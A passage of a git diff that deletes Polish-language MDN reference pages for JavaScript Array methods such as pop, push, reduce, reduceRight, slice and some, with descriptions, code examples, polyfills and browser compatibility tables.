Array.of(1);         // [1]
-Array.of(1, 2, 3);   // [1, 2, 3]
-Array.of(undefined); // [undefined]
-
- -

Polyfill

- -

Uruchomienie tego kodu przed innym stworzy Array.of() nawet jeśli nie jest ona dostępna natywnie.

- -
if (!Array.of) {
-  Array.of = function() {
-    return Array.prototype.slice.call(arguments);
-  };
-}
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-array.of', 'Array.of')}}{{Spec2('ES2015')}}Początkowa definicja.
{{SpecName('ESDraft', '#sec-array.of', 'Array.of')}}{{Spec2('ESDraft')}} 
- -

Browser compatibility

- -
- - -

{{Compat("javascript.builtins.Array.of")}}

-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/pop/index.html b/files/pl/web/javascript/referencje/obiekty/array/pop/index.html deleted file mode 100644 index 2b7483dbd7..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/pop/index.html +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: Array.prototype.pop() -slug: Web/JavaScript/Referencje/Obiekty/Array/pop -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Metodă - - Prototype - - Tablica -translation_of: Web/JavaScript/Reference/Global_Objects/Array/pop ---- -
{{JSRef}}
- -

Podsumowanie

- -

Usuwa ostatni element z tablicy zwracając go. Metoda ta zmienia długość tablicy.

- -

Składnia

- -
arr.pop()
- -

Zwracana wartość

- -

Ostatni element tablicy;
- Jeśli tablica jest pusta zwraca {{jsxref("undefined")}}

- -

Opis

- -

Metoda pop usuwa ostatni element tablicy i zwraca tę wartość.

- -

pop is intentionally generic. Metoda ta może być {{jsxref("Function.call", "called", "", 1)}} lub {{jsxref("Function.apply", "applied", "", 1)}} do obiektu przypominającego tablice. Obiekty, które nie posiadają właściwości length odzwierciedlającej ostani element w serii, przy właściwościach liczonych od zera nie mogą zachowywać się w żaden znaczący sposób.

- -

Jeśli zawołasz  pop() na pustej tablicy, zwróci ona {{jsxref("undefined")}}.

- -

Przykład

- -

Przykład: Usuwanie ostatniego elementu tablicy

- -

Następujący kod tworzy tablicę myFish zawierającą cztery elementy, a następnie usuwa ostatni jej element.

- -
var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
-
-console.log(myFish); // ['angel', 'clown', 'mandarin', 'sturgeon']
-
-var popped = myFish.pop();
-
-console.log(myFish); // ['angel', 'clown', 'mandarin' ]
-
-console.log(popped); // 'sturgeon'
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES3')}}{{Spec2('ES3')}}Initial definition. Implemented in JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.4.4.6', 'Array.prototype.pop')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-array.prototype.pop', 'Array.prototype.pop')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-array.prototype.pop', 'Array.prototype.pop')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność z przeglądarkami

- -

{{CompatibilityTable}}

- - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("1.0")}}{{CompatGeckoDesktop("1.7")}}{{CompatIE("5.5")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
- - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/array/prototype/index.html deleted file mode 100644 index 94cbd2b287..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/prototype/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Array.prototype -slug: Web/JavaScript/Referencje/Obiekty/Array/prototype -tags: - - JavaScript -translation_of: Web/JavaScript/Reference/Global_Objects/Array/prototype ---- -
{{JSRef("Global_Objects", "Array")}}
- -

Podsumowanie

- -

Reprezentuje prototyp tego obiektu. Pozwala na dodawanie własności lub metod do wszystkich instancji obiektu. Zobacz {{jsxref("Object.prototype")}}, aby uzyskać więcej informacji.

diff --git a/files/pl/web/javascript/referencje/obiekty/array/push/index.html b/files/pl/web/javascript/referencje/obiekty/array/push/index.html deleted file mode 100644 index 92bf342cda..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/push/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Array.prototype.push() -slug: Web/JavaScript/Referencje/Obiekty/Array/push -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Array/push ---- -
{{JSRef}}
- -

Podsumowanie

- -

Dodaje jeden lub więcej elementów na koniec tablicy i zwraca jej nową długość. Metoda ta zmienia długość tablicy.

- -

Składnia

- -
arr.push(element1, ..., elementN)
- -

Parametry

- -
-
element - N -  
-
Elementy dodawane na końcu tablicy.
-
- -

Opis

- -

Zachowanie metody push jest analogiczne do funkcji push w języku Perl 4. Uwaga: jej zachowanie różni się w języku Perl 5.

- -

Przykłady

- -

Przykład: Dodawanie elementów do tablicy

- -

Następujący kod tworzy tablicę myFish zawierającą dwa elementy, następnie dodaje do niej dwa kolejne. Po wykonaniu kodu, pushed zawiera wartość 4 (w JavaScript 1.2 po wykonaniu kodu zmienna pushed zawiera wartość "lew").

- -
myFish = ["anioł", "klaun"];
-pushed = myFish.push("bęben", "lew");
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/reduce/index.html b/files/pl/web/javascript/referencje/obiekty/array/reduce/index.html deleted file mode 100644 index 8699a308c5..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/reduce/index.html +++ /dev/null @@ -1,300 +0,0 @@ ---- -title: Array.prototype.reduce() -slug: Web/JavaScript/Referencje/Obiekty/Array/Reduce -translation_of: Web/JavaScript/Reference/Global_Objects/Array/Reduce ---- -
{{JSRef("Global_Objects", "Array")}}
- -

Podsumowanie

- -

Metoda reduce() wywołuje funkcję względem wartości przyrostowej z każdego wywołania i kolejnego elementu tablicy (od lewej do prawej) w celu sprowadzenia tej tablicy do pojedynczej wartości.

- -

Składnia

- -
arr.reduce(callback(accumulator, currentValue[, index[, array]])[, initialValue])
- -

Parametry

- -
-
callback
-
Funkcja wykonywana na każdej wartości w tablicy, przyjmuje cztery argumenty: -
-
previousValue
-
-
Wartość zwróconą w ostatnim wywołaniu funkcji callback, lub initialValue, jeśli ta została dostarczona. (Patrz niżej.)
-
currentValue
-
Obecnie przetwarzany element w tablicy.
-
index
-
Indeks w tablicy obecnie przetwarzanego elementu.
-
array
-
Tablica, na której została wykonana funkcja reduce .
-
-
-
initialValue
-
Opcjonalne. Obiekt który będzie użyty jako pierwszy argument pierwszego wywołania funkcji callback.
-
- -

Opis

- -

reduce wykonuje funkcję callback raz dla każdego elementu występującego w tablicy, wyłączając dziury. Funkcja callback przyjmuje cztery argumenty: wartość początkową (lub wartość poprzedniego wywołania callback), wartość obecnego elementu, jego indeks, oraz tablicę na której zachodzi proces iteracji.

- -

Przy pierwszym wywołaniu funkcji callback, previousValue oraz currentValue mogą przyjąć jedną z dwóch wartości. Jeżeli initialValue było dostarczone w wywołaniu, wtedy previousValue przyjmie wartość podaną jako initialValue, natomiast currentValue przyjmie wartość pierwszego elementu tablicy. Jeśli initialValue nie było podane, wtedy previousValue będzie miało wartość pierwszego elementu tablicy, natomiast currentValue będzie równe elementowi drugiemu.

- -

Jeżeli tablica jest pusta oraz initialValue nie zostało dostarczone, będzie rzucony błąd {{jsxref("Global_Objects/TypeError", "TypeError")}}. Jeśli natomiast tablica ma jeden tylko element (bez względu na jego pozycję) i initialValue nie zostało podane, lub dostarczono initialValue, ale tablica jest pusta, wtedy ta jedyna wartość zostanie zwrócona, bez wywoływania funkcji callback.

- -

Przyjmijmy, że wystąpiło następujące wywolanie funkcji reduce:

- -
[0, 1, 2, 3, 4].reduce(function(previousValue, currentValue, index, array) {
-  return previousValue + currentValue;
-});
-
- -

Funkcja callback będzie wywołana cztery razy, z argumentami i wartościami zwrotnymi przy każdym wołaniu jak następuje:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
previousValuecurrentValueindexarraywartość zwracana
pierwsze wywołanie011[0, 1, 2, 3, 4]1
drugie wywołanie122[0, 1, 2, 3, 4]3
trzecie wywołanie333[0, 1, 2, 3, 4]6
czwarte wywołanie644[0, 1, 2, 3, 4]10
- -

Wartość zwrócona ostatecznie przez reduce będzie tą z ostatniego wywołania funcji callback (10).

- -

Natomiast, jeśli dostarczylibyśmy wartość początkową jako drugi argument funkcji przekazanej do reduce, wynik wyglądałby jak poniżej:

- -
[0, 1, 2, 3, 4].reduce(function(previousValue, currentValue, index, array) {
-  return previousValue + currentValue;
-}, 10);
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
previousValuecurrentValueindexarraywartość zwracana
pierwsze wywołanie1000[0, 1, 2, 3, 4]10
drugie wywołanie1011[0, 1, 2, 3, 4]11
trzecie wywołanie1122[0, 1, 2, 3, 4]13
czwarte wywołanie1333[0, 1, 2, 3, 4]16
piąte wywołanie1644[0, 1, 2, 3, 4]20
- -

Tym razem wartość zwrócona przez reduce będzie wynosiła 20.

- -

Przykłady

- -

Przykład: Zsumowanie wszystkich wartości w tablicy.

- -
var total = [0, 1, 2, 3].reduce(function(a, b) {
-  return a + b;
-});
-// total == 6
-
- -

Przykład: Spłaszczenie tablicy tablic

- -
var flattened = [[0, 1], [2, 3], [4, 5]].reduce(function(a, b) {
-  return a.concat(b);
-});
-// flattened is [0, 1, 2, 3, 4, 5]
-
- -

Polyfill

- -

Array.prototype.reduce zostało dodane do standardu ECMA-262 w edycji piątej i jako takie może nie występować we wszystkich implementacji standardu. Można obejśc ten brak poprzez wstawienie poniższego kodu na początku skryptu, co pozwala na użycie reduce z implementacjami, które nie wspierają tej funkcji.

- -
// Production steps of ECMA-262, Edition 5, 15.4.4.21
-// Reference: http://es5.github.io/#x15.4.4.21
-if (!Array.prototype.reduce) {
-  Array.prototype.reduce = function(callback /*, initialValue*/) {
-    'use strict';
-    if (this == null) {
-      throw new TypeError('Array.prototype.reduce called on null or undefined');
-    }
-    if (typeof callback !== 'function') {
-      throw new TypeError(callback + ' is not a function');
-    }
-    var t = Object(this), len = t.length >>> 0, k = 0, value;
-    if (arguments.length == 2) {
-      value = arguments[1];
-    } else {
-      while (k < len && !(k in t)) {
-        k++;
-      }
-      if (k >= len) {
-        throw new TypeError('Reduce of empty array with no initial value');
-      }
-      value = t[k++];
-    }
-    for (; k < len; k++) {
-      if (k in t) {
-        value = callback(value, t[k], k, t);
-      }
-    }
-    return value;
-  };
-}
-
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStanKomentarz
{{SpecName('ES5.1', '#sec-15.4.4.21', 'Array.prototype.reduce')}}{{Spec2('ES5.1')}}Definicja początkowa. Wprowadzon w JavaScript 1.8.
{{SpecName('ES6', '#sec-array.prototype.reduce', 'Array.prototype.reduce')}}{{Spec2('ES6')}}
- -

Wspierane przeglądarki

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9")}}{{CompatIE("9")}}{{CompatOpera("10.5")}}{{CompatSafari("4.0")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/reduceright/index.html b/files/pl/web/javascript/referencje/obiekty/array/reduceright/index.html deleted file mode 100644 index fcb2b0e694..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/reduceright/index.html +++ /dev/null @@ -1,344 +0,0 @@ ---- -title: Array.prototype.reduceRight() -slug: Web/JavaScript/Referencje/Obiekty/Array/ReduceRight -translation_of: Web/JavaScript/Reference/Global_Objects/Array/ReduceRight ---- -
{{JSRef}}
- -

Metoda reduceRight() przekazuje do funkcji wartość przyrostową dla każdego elementu w tablicy zaczynając od prawej do lewej (od najwyższego indexu do najniższego) w celu sprowadzenia tablicy do pojedynczej wartości.

- -
{{EmbedInteractiveExample("pages/js/array-reduce-right.html","shorter")}}
- - - -

Sprawdź również {{jsxref("Array.prototype.reduce()")}} dla redukowania tablicy od lewej do prawej (od najniższego indexu do najwyższego).

- -

Składnia

- -
arr.reduceRight(callback(akumulator, obecnaWartość[, index[, tablica]])[, wartośćPoczątkowa])
- -

Parametry

- -
-
callback
-
Funkcja która będzie wołana dla każdego elementu w tablicy, przyjmuje 4 argumenty: -
-
akumulator
-
Wartość zwrócona z poprzedniego wywołania funkcji callback lub wartośćPoczątkowa, jeśli została zdefiniowana. (Sprawdź poniżej.)
-
obecnaWartość
-
Element z tablicy, który aktualnie jest przetwarzany
-
index{{optional_inline}}
-
Index aktualnie przetwarzanego elementu z tablicy.
-
tablica{{optional_inline}}
-
Tablica, na której reduceRight() zostało zawołane.
-
-
-
wartośćPoczątkowa{{optional_inline}}
-
Wartość, która zostanie użyta do pierwszego wykonania funkcji callback. Jeśli wartość ta nie zostanie zdefiniowana, ostatni element tablicy zostanie użyty i pominięty. Wołanie reduce lub reduceRight na pustej tablicy bez zdefiniowanej wartości początkowej spowoduje błąd TypeError.
-
- -

Wartość zwracana

- -

Wartość wynikowa redukcji.

- -

Opis

- -

reduceRight wykonuje funkcję callback dla każdego elementu z tablicy, z wyłączeniem miejsc niezdefiniowanych w tablicy, przekazując cztery argumenty: wartość początkową (lub wartość z poprzedniego wywołania funkcji callback), wartość obecnie przetwarzanego elementu, obecny index oraz tablicę na której wykonywane są iteracje.

- -

Użycie funkcji callback w metodzie reduceRight może wyglądac następująco:

- -
array.reduceRight(function(akumulator, obecnaWartość, index, tablica) {
-  // ...
-});
-
- -

Przy pierwszym wywołaniu funkcji, akumulator i obecnaWartość mogą mieć jedną z 2 wartości. Jeśli wartośćPoczątkowa została przekazana do reduceRight, to akumulator będzie równy wartośćPoczątkowaobecnaWartość będzie równa ostatniej wartości z tablicy. Jeśli wartośćPoczątkowa nie została zdefiniowana, wtedy akumulator będzie równy ostatniej wartości z tablicy a obecnaWartość będzie równa przedostatniej wartości z tablicy.

- -

Jeśli tablica jest pusta i wartośćPoczątkowa nie została zdefiniowana, spowoduje to błąd: {{jsxref("TypeError")}}. Jeśli tablica ma tylko jeden element (niezależnie od jego pozycji) i wartośćPoczątkowa nie została zdefiniowana lub wartośćPoczątkowa została zdefiniowana ale tablica jest pusta, to ta pojedyncza wartość zostanie zwrócona bez wołania funkcji callback.

- -

Przykład pokazujący, jak przepływają dane do funkcji callback:

- -
[0, 1, 2, 3, 4].reduceRight(function(akumulator, obecnaWartość, index, tablica) {
-  return akumulator + obecnaWartość;
-});
-
- -

Funkcja callback wykona się 4 razy a argumenty wywołań oraz wartości zwracane będą zgodne z poniższą tabelą:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
callbackakumulatorobecnaWartośćindextablicazwrócona wartość
first call433[0, 1, 2, 3, 4]7
second call722[0, 1, 2, 3, 4]9
third call911[0, 1, 2, 3, 4]10
fourth call1000[0, 1, 2, 3, 4]10
- -

Wartość zwrócona przez reduceRight będzie tym, co zostało zwrócone przez ostatnie wywołanie funkcji callback (10).

- -

Jeśli wartośćPoczątkowa zostałaby zdefiniowana wyniki wyglądałyby następująco:

- -
[0, 1, 2, 3, 4].reduceRight(function(akumulator, obecnaWartość, index, tablica) {
-  return akumulator + obecnaWartość;
-}, 10);
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
callbackakumulatorobecnaWartośćindextablicazwrócona wartość
first call1044[0, 1, 2, 3, 4]14
second call1433[0, 1, 2, 3, 4]17
third call1722[0, 1, 2, 3, 4]19
fourth call1911[0, 1, 2, 3, 4]20
fifth call2000[0, 1, 2, 3, 4]20
- -

Wartość zwrócona przez reduceRight w tym przypadku, będzie, oczywiście, 20.

- -

Przykłady

- -

Zsumuj wszystkie wartości z tablicy

- -
var sum = [0, 1, 2, 3].reduceRight(function(a, b) {
-  return a + b;
-});
-// sum is 6
-
- -

Spłaszcz tablicę tablic

- -
var flattened = [[0, 1], [2, 3], [4, 5]].reduceRight(function(a, b) {
-    return a.concat(b);
-}, []);
-// flattened is [4, 5, 2, 3, 0, 1]
-
-
- -

Uruchom asynchroniczne funkcje z callbackami z listy w taki sposób aby każda przekazywała wynik wykonania do następnej

- -
const waterfall = (...functions) => (callback, ...args) =>
-  functions.reduceRight(
-    (composition, fn) => (...results) => fn(composition, ...results),
-    callback
-  )(...args);
-
-const randInt = max => Math.floor(Math.random() * max)
-
-const add5 = (callback, x) => {
-  setTimeout(callback, randInt(1000), x + 5);
-};
-const mult3 = (callback, x) => {
-  setTimeout(callback, randInt(1000), x * 3);
-};
-const sub2 = (callback, x) => {
-  setTimeout(callback, randInt(1000), x - 2);
-};
-const split = (callback, x) => {
-  setTimeout(callback, randInt(1000), x, x);
-};
-const add = (callback, x, y) => {
-  setTimeout(callback, randInt(1000), x + y);
-};
-const div4 = (callback, x) => {
-  setTimeout(callback, randInt(1000), x / 4);
-};
-
-const computation = waterfall(add5, mult3, sub2, split, add, div4);
-computation(console.log, 5) // -> 14
-
-// same as:
-
-const computation2 = (input, callback) => {
-  const f6 = x=> div4(callback, x);
-  const f5 = (x, y) => add(f6, x, y);
-  const f4 = x => split(f5, x);
-  const f3 = x => sub2(f4, x);
-  const f2 = x => mult3(f3, x);
-  add5(f2, input);
-}
- -

​​​​​​Różnica pomiędzy reduce i reduceRight

- -
var a = ['1', '2', '3', '4', '5'];
-var left  = a.reduce(function(prev, cur)      { return prev + cur; });
-var right = a.reduceRight(function(prev, cur) { return prev + cur; });
-
-console.log(left);  // "12345"
-console.log(right); // "54321"
- -

Przykład na rozwijanie funkcji

- -

W rozwijaniu funkcji chodzi o to, że w wywołaniu jednej funkcji możemy użyć wielu funkcji. Odbywa się to od prawej do lewej, wołając każdą funkcję z wynikiem zwróconym przez poprzednią.

- -
/**
- * Function Composition is way in which result of one function can
- * be passed to another and so on.
- *
- * h(x) = f(g(x))
- *
- * Function execution happens right to left
- *
- * https://en.wikipedia.org/wiki/Function_composition
- */
-
-const compose = (...args) => (value) => args.reduceRight((acc, fn) => fn(acc), value)
-
-// Increment passed number
-const inc = (n) => n + 1
-
-// Doubles the passed value
-const double = (n) => n * 2
-
-// using composition function
-console.log(compose(double, inc)(2)); // 6
-
-// using composition function
-console.log(compose(inc, double)(2)); // 5
-
- -

Polyfill

- -

reduceRight zostało dodane dostandardu ECMA-262 w piątej edycji, w związku z czym może jeszcze nie być dodane do wszystkich implementacji standardu. Można to rozwiązać poprzez użycie poniższego kodu na początku aplikacji, pozwoli to na używanie reduceRight w środowiskach, które tego nie implementują.

- -
// Production steps of ECMA-262, Edition 5, 15.4.4.22
-// Reference: http://es5.github.io/#x15.4.4.22
-if ('function' !== typeof Array.prototype.reduceRight) {
-  Array.prototype.reduceRight = function(callback /*, initialValue*/) {
-    'use strict';
-    if (null === this || 'undefined' === typeof this) {
-      throw new TypeError('Array.prototype.reduce called on null or undefined');
-    }
-    if ('function' !== typeof callback) {
-      throw new TypeError(callback + ' is not a function');
-    }
-    var t = Object(this), len = t.length >>> 0, k = len - 1, value;
-    if (arguments.length >= 2) {
-      value = arguments[1];
-    } else {
-      while (k >= 0 && !(k in t)) {
-        k--;
-      }
-      if (k < 0) {
-        throw new TypeError('Reduce of empty array with no initial value');
-      }
-      value = t[k--];
-    }
-    for (; k >= 0; k--) {
-      if (k in t) {
-        value = callback(value, t[k], k, t);
-      }
-    }
-    return value;
-  };
-}
-
- -

Specyfikacje

- - - - - - - - - - -
Specyfikacja
{{SpecName('ESDraft', '#sec-array.prototype.reduceright', 'Array.prototype.reduceRight')}}
- -

Zgodność w przeglądarkach

- -
- - -

{{Compat("javascript.builtins.Array.reduceRight")}}

-
- -

Sprawdź również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/reverse/index.html b/files/pl/web/javascript/referencje/obiekty/array/reverse/index.html deleted file mode 100644 index bc6fd9082b..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/reverse/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Array.prototype.reverse() -slug: Web/JavaScript/Referencje/Obiekty/Array/reverse -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Array/reverse ---- -
{{JSRef}}
- -

Podsumowanie

- -

Odwraca kolejność elementów w tablicy: pierwszy staje się ostatnim, ostatni pierwszym.

- -

Składnia

- -
arr.reverse()
- -

Parametry

- -

Brak.

- -

Opis

- -

Metoda reverse zmienia zawartość tablicy, odwracając kolejność jej elementów.

- -

Przykłady

- -

Przykład: Odwracanie kolejności elementów w tablicy

- -

Poniższy przykład tworzy tablicę mojaTablica, posiadającą trzy elementy, następnie odwraca ich kolejność.

- -
mojaTablica = new Array("jeden", "dwa", "trzy")
-mojaTablica.reverse()
-
- -

W wyniku działania powyższego kodu:

- - - -

Zobacz także

- - - -
 
diff --git a/files/pl/web/javascript/referencje/obiekty/array/shift/index.html b/files/pl/web/javascript/referencje/obiekty/array/shift/index.html deleted file mode 100644 index adf8ca36e4..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/shift/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Array.prototype.shift() -slug: Web/JavaScript/Referencje/Obiekty/Array/shift -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Array/shift ---- -
{{JSRef}}
- -

Podsumowanie

- -

Usuwa pierwszy element z tablicy i zwraca go. Metoda ta zmienia długość tablicy.

- -

Składnia

- -
arr.shift()
- -

Przykłady

- -

Przykład: Usuwanie pierwszego elementu tablicy

- -

Następujący kod wyświetli tablicę myFish, przed i po usunięciu jej pierwszego elementu. Wyświetli również usunięty element:

- -
// przyjmując że funkcja print jest zdefiniowana
-var myFish = ["anioł", "klaun", "mandarynka", "chirurg"];
-console.log("myFish przed: " + myFish);
-var shifted = myFish.shift();
-console.log("myFish po: " + myFish);
-console.log("Usunięto element: " + shifted);
-
- -

Przykład wyświetli następujący rezultat:

- -
myFish przed: ["anioł", "klaun", "mandarynka", "chirurg"]
-myFish po: ["klaun", "mandarynka", "chirurg"]
-//Usunięto element: anioł
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/slice/index.html b/files/pl/web/javascript/referencje/obiekty/array/slice/index.html deleted file mode 100644 index ced8efba96..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/slice/index.html +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: Array.prototype.slice() -slug: Web/JavaScript/Referencje/Obiekty/Array/slice -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Strony_wymagające_dopracowania - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice ---- -

{{ JSRef }}

- -

{{EmbedInteractiveExample("pages/js/array-slice.html")}}

- -

Podsumowanie

- -

Wydobywa fragment tablicy i zwraca go jako nową tablicę.

- -

Składnia

- -
arr.slice([begin[, end]])
- -

Parametry

- -
-
begin
-
Indeks (liczony od zera) od którego zaczyna się wydobywanie.
-
Jeżeli indeks jest ujemny, begin wskazuje przesunięcie w kolejności od końca. slice(-2) wydobywa kolejno drugi od końca i ostatni element tablicy.
-
- -
-
end
-
Indeks (liczony od zera) przed którym kończy się wydobywanie. slice wydobywa elementy jednakże nie zawiera end.
-
- -
-
slice(1,4) wydobywa elementy od drugiego do czwartego (o indeksach 1, 2 i 3).
-
- -
-
Jeżeli parametr ten ma wartość ujemną to end określa odległość od końca tablicy. slice(2,-1) wydobywa kolejne elementy od trzeciego do przedostatniego.
-
- -
-
Jeżeli end jest pominięty, slice wydobywa wszystkie elementy do końca tablicy.
-
- -

Opis

- -

slice nie zmienia zawartości oryginalnej tablicy, tylko zwraca nową kopię "o jednym poziomie głębokości" zawierającą elementy wyciągnięte z oryginalnej tablicy. Elementy oryginalnej tablicy są kopiowane do nowej tablicy następująco:

- - - - - -

Jeżeli nowy element jest dodany do jednej z tablic, to nie wpływa to w żaden sposób na drugą.

- -

Przykłady

- -

Przykład: Zastosowanie slice

- -

W następującym przykładzie slice tworzy nową tablicę newCar z myCar. Obydwie zawierają odniesienie do obiektu myHonda. Kiedy kolor myHonda jest zmieniany na purpurowy, to obie tablice odzwierciedlają zmianę.

- -
//Użycie slice, tworzenie newCar z myCar.
-var myHonda = { color: "red", wheels: 4, engine: { cylinders: 4, size: 2.2 } };
-var myCar = [myHonda, 2, "cherry condition", "purchased 1997"];
-var newCar = myCar.slice(0, 2);
-
-//Wpisz wartości myCar, newCar i color myHonda
-//  referenced from both arrays.
-console.log("myCar = " + myCar.toSource());
-console.log("newCar = " + newCar.toSource());
-console.log("myCar[0].color = " + myCar[0].color);
-console.log("newCar[0].color = " + newCar[0].color);
-
-//zmienia kolor myHonda.
-myHonda.color = "purple";
-console.log("Nowy kolor mojej Honda to " + myHonda.color);
-
-//Wpisz color myHonda odnoszący się do oby tablic
-console.log("myCar[0].color = " + myCar[0].color);
-console.log("newCar[0].color = " + newCar[0].color);
-
- -

Ten skrypt wypisze:

- -
myCar = [{color:"red", wheels:4, engine:{cylinders:4, size:2.2}}, 2, "cherry condition", "purchased 1997"]
-newCar = [{color:"red", wheels:4, engine:{cylinders:4, size:2.2}}, 2]
-myCar[0].color = red
-newCar[0].color = red
-Nowym kolorem mojej Honda jest purpurowy
-myCar[0].color = purple
-newCar[0].color = purple
-
diff --git a/files/pl/web/javascript/referencje/obiekty/array/some/index.html b/files/pl/web/javascript/referencje/obiekty/array/some/index.html deleted file mode 100644 index 6ba1777370..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/some/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Array.prototype.some() -slug: Web/JavaScript/Referencje/Obiekty/Array/some -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Strony_wymagające_dopracowania - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Array/some ---- -

{{ JSRef }}

- -

Podsumowanie

- -

Sprawdza, czy jakikolwiek element tablicy zalicza test zaimplementowany przez dostarczoną funkcję .

- -

Składnia

- -
arr.some(callback[, thisArg])
- -

Parametry

- -
-
callback 
-
Funkcja sprawdzająca dla każdego elementu.
-
thisArg
-
Obiekt do użycia jako this gdy wykonujemy funkcję callback.
-
- -

Opis

- -

some wykonuje funkcję callback) na każdym elemencie tablicy, aż znajdzie taki, dla którego callback zwróci prawdę (true). Jeżeli taki element zostanie znaleziony, some zakończy swoje działanie i zwróci prawdę (true), w przeciwnym przypadku (gdy callback zwróci fałsz dla każdego z elementów) some zwróci false. Tablice nie są traktowane jako "zwarte" - czyli callback zostanie wywołany dla każdego indeksu tablicy dla którego wartość została przypisana. Nie zostanie wywołany dla indeksów, które zostały usunięte, bądź dla których nigdy nie została przypisana wartość.

- -

callback wywoływana jest z trzema argumentami: wartością elementu, jego indeksem i przemierzaną tablicą.

- -

W przypadku podania argumentu thisObject, zostanie on przekazany jako this przy każdym wywołaniu callback. Gdy go brak, lub ma wartość null, użyty zostanie obiekt globalny przyporządkowany do callback.

- -

some nie modyfikuje tablicy, na której jest wywołany.

- -

Zakres elementów przetwarzanych przez some ustalany jest przed pierwszym wywołaniem callback. Elementy dodane do tablicy po wywołaniu some nie zostaną sprawdzone przez callback. Jeśli istniejący, niesprawdzony jeszcze element tablicy zostanie zmieniony lub usunięty przez callback, wartością przekazaną do callback będzie wartość z momentu, w którym some sprawdza dany element; elementy usunięte przed sprawdzeniem będą przekazane jako undefined.

- -

Przykłady

- -

Sprawdzanie rozmiaru wszystkich elementów tablicy

- -

Następujący przykład sprawdza czy jakiś element tablicy jest większy, bądź równy 10.

- -
function czyWiekszyNiz10(element, index, array) {
-  return element > 10;
-}
-[2, 5, 8, 1, 4].some(czyWiekszyNiz10); // false
-[12, 5, 8, 1, 44].some(czyWiekszyNiz10); // true
-
- -

Sprawdzanie elementów używając funkcji strzałkowych

- -

Funkcje strzałkowe dają krótszą składnię dla tego samego testu.

- -
[2, 5, 8, 1, 4].some(x => x > 10); // false
-[12, 5, 8, 1, 44].some(x => x > 10); // true
-
- -

Kompatybilność z przeglądarkami

- -

{{CompatibilityTable}}

- - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.8")}}{{CompatIE("9")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
- - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
